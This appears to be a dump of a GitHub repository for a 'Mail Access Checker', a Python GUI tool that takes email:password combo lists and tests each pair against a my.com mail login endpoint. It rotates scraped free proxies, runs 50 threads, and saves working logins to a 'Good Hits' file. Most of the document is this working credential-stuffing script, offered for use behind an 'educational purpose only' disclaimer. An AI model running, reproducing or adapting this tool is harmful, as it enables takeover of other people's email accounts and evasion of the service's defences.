├── Results └── [Good Hits] 19-10-20 05-28-33-PM.txt ├── requirements.txt ├── icons └── logo.png ├── LICENSE ├── README.md └── Mail Access Checker.py /Results/[Good Hits] 19-10-20 05-28-33-PM.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | BeautifulSoup4 2 | PySimpleGUI 3 | requests 4 | -------------------------------------------------------------------------------- /icons/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/henry-richard7/Mail-Access-Bruter/HEAD/icons/logo.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Henry Richard J 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Mail-Access-Bruter 2 | This python performs brute force attack for mail access 3 | 4 | # This Project is Deprecated and no longer maintained. 5 | 6 | ![Python Version](https://img.shields.io/badge/Version%20Supported-Python%203.x-blue) 7 | 8 | # 📎Modules Required 9 | To install all the required modules use the following code: 10 |
11 | pip install -r requirements.txt 12 | 13 | # ✔️Features 14 | * Proxy is automatically scraped no need to provide! (Http/s proxies) 15 | * All good hits are saved automatically. 16 | 17 | # 📷Screenshots 18 | ![MailAccess Checker](https://user-images.githubusercontent.com/68910039/96449337-50e85400-1232-11eb-9d78-e692f7988fc2.png) 19 | 20 | # My Youtube Channel 21 | [![](https://img.shields.io/badge/Subscribe-red?style=for-the-badge&logo=YouTube)](https://www.youtube.com/channel/UCVGasc5jr45eZUpZNHvbtWQ) 22 | 23 | [![](https://img.shields.io/youtube/channel/subscribers/UCVGasc5jr45eZUpZNHvbtWQ?style=social)](https://www.youtube.com/channel/UCVGasc5jr45eZUpZNHvbtWQ) 24 | 25 | # My Telegram Channel 26 | [![](https://img.shields.io/badge/Telegram-Join%20Now-blue?style=for-the-badge&logo=Telegram)](https://t.me/cracked4free) 27 | 28 | # ⚠️ Disclaimer 29 | This program is designed for educational purpose only I am not responsible how this program is use. 30 | 31 | ### 💵 Donations (Optional) 32 | If you like my projects then consider making a small donation by clicking below button ^_^ 33 |
34 | [![Donate](https://img.shields.io/badge/Donate-PayPal-blue.svg)](https://www.paypal.com/paypalme/henryrics) 35 | 36 | 37 | #### Star the Repo in case you liked it :) 38 | -------------------------------------------------------------------------------- /Mail Access Checker.py: -------------------------------------------------------------------------------- 1 | import random 2 | import requests 3 | from requests import Session 4 | from bs4 import BeautifulSoup 5 | from concurrent.futures import ThreadPoolExecutor 6 | from threading import Thread 7 | import PySimpleGUI as sg 8 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 9 | 10 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 11 | import datetime 12 | 13 | x = datetime.datetime.now() 14 | 15 | session = Session() 16 | 17 | combos = "" 18 | 19 | good = 0 20 | bad = 0 21 | errors = 0 22 | 23 | completed = 0 24 | 25 | 26 | def get_proxyiess(): 27 | url = "https://www.sslproxies.org/" 28 | r = session.get(url).content 29 | soup = BeautifulSoup(r, "html.parser") 30 | all_proxies = list(map(lambda x: x[0] + ":" + x[1], list( 31 | zip(map(lambda x: x.text, soup.findAll('td')[0::8]), map(lambda x: x.text, soup.findAll('td')[1::8]))))) 32 | window['ProxyCount'].update(str(len(all_proxies))) 33 | return {"https": random.choice(all_proxies)} 34 | 35 | 36 | def proxy_request(req_type, url, **kwargs): 37 | while 1: 38 | try: 39 | 40 | proxy = get_proxyiess() 41 | 42 | r = session.request(req_type, url, proxies=proxy, timeout=5, **kwargs).text 43 | break 44 | except Exception as e: 45 | global errors 46 | errors += 1 47 | window['ProxyErrors'].update(str(errors)) 48 | pass 49 | return r 50 | 51 | 52 | def checker(email, password): 53 | global completed 54 | url = f"https://aj-https.my.com/cgi-bin/auth?timezone=GMT%2B2&reqmode=fg&ajax_call=1&udid=16cbef29939532331560e4eafea6b95790a743e9&device_type=Tablet&mp=iOS¤t=MyCom&mmp=mail&os=iOS&md5_signature=6ae1accb78a8b268728443cba650708e&os_version=9.2&model=iPad%202%3B%28WiFi%29&simple=1&Login={email}&ver=4.2.0.12436&DeviceID=D3E34155-21B4-49C6-ABCD-FD48BB02560D&country=GB&language=fr_FR&LoginType=Direct&Lang=en_FR&Password={password}&device_vendor=Apple&mob_json=1&DeviceInfo=%7B%22Timezone%22%3A%22GMT%2B2%22%2C%22OS%22%3A%22iOS%209.2%22%2C?%22AppVersion%22%3A%224.2.0.12436%22%2C%22DeviceName%22%3A%22iPad%22%2C%22Device?%22%3A%22Apple%20iPad%202%3B%28WiFi%29%22%7D&device_name=iPad&" 55 | r = proxy_request("get", url) 56 | 57 | if '["AjaxResponse", "OK", "Ok=0"]' in r: 58 | global bad 59 | 60 | completed += 1 61 | bad += 1 62 | window['Completed'].update(str(completed)) 63 | window['BadHit'].update(str(bad)) 64 | 65 | elif "form_sign_sentmsg" in r: 66 | global good 67 | 68 | good += 1 69 | completed += 1 70 | window['Completed'].update(str(completed)) 71 | window["Hits_Results"].print(f"{email}:{password}") 72 | window['GoodHit'].update(str(good)) 73 | open(f"Results\\[Good Hits] {x.strftime('%d-%m-%y %I-%M-%S-%p')}.txt", "a", encoding="utf-8").write( 74 | f"{email}:{password}\n") 75 | 76 | 77 | def run1(): 78 | with ThreadPoolExecutor(max_workers=50) as executor: 79 | futures = [executor.submit(checker, combo.split(":")[0], combo.split(":")[1]) for combo in combos] 80 | executor.shutdown(wait=True) 81 | 82 | 83 | theme_name_list = sg.theme_list() 84 | sg.theme("darkblue2") 85 | Layout = [[sg.Image(filename="icons/logo.png", size=(50, 50)), sg.Text("Mail Access Checker", font=("", 25))], 86 | [sg.Text("Developed By Henry Richard J", font=("", 13))], 87 | [sg.Multiline(size=(65, 25), disabled=True, key="Hits_Results")], 88 | [sg.Text("Good", font=("", 12)), 89 | sg.Text("0", font=("", 12), text_color="lightgreen", key="GoodHit", size=(10, 0)), 90 | sg.Text("Bad", font=("", 12)), sg.Text("0", font=("", 12), text_color="red", key="BadHit", size=(10, 0))], 91 | [sg.Text("Total Combo", font=("", 12)), 92 | sg.Text("0", font=("", 12), text_color="yellow", key="ComboCount", size=(10, 0)), 93 | sg.Text("Total Proxy", font=("", 12)), 94 | sg.Text("0", font=("", 12), text_color="orange", key="ProxyCount", size=(10, 0))], 95 | [sg.Text("Total Checked", font=("", 12)), 96 | sg.Text("0", font=("", 12), text_color="cyan", key="Completed", size=(10, 0)), 97 | sg.Text("Proxy Error", font=("", 12)), 98 | sg.Text("0", font=("", 12), text_color="LemonChiffon3", size=(10, 0), key="ProxyErrors")], 99 | [sg.FileBrowse("Load Combos", key="Load_Combos", size=(20, 2), font=("", 15), 100 | file_types=(("Text Files", "*.txt"),)), 101 | sg.Button("Start", key="Start_Checking", size=(20, 2), font=("", 15))]] 102 | window = sg.Window('Mail Access Checker', Layout, element_justification='center') 103 | while True: 104 | event, values = window.read() 105 | if event == sg.WIN_CLOSED: 106 | break 107 | 108 | if event == "Start_Checking": 109 | combos = open(values['Load_Combos'], "r").read().split("\n") 110 | window["ComboCount"].update(str(len(combos))) 111 | Thread(target=run1, daemon=True).start() 112 | --------------------------------------------------------------------------------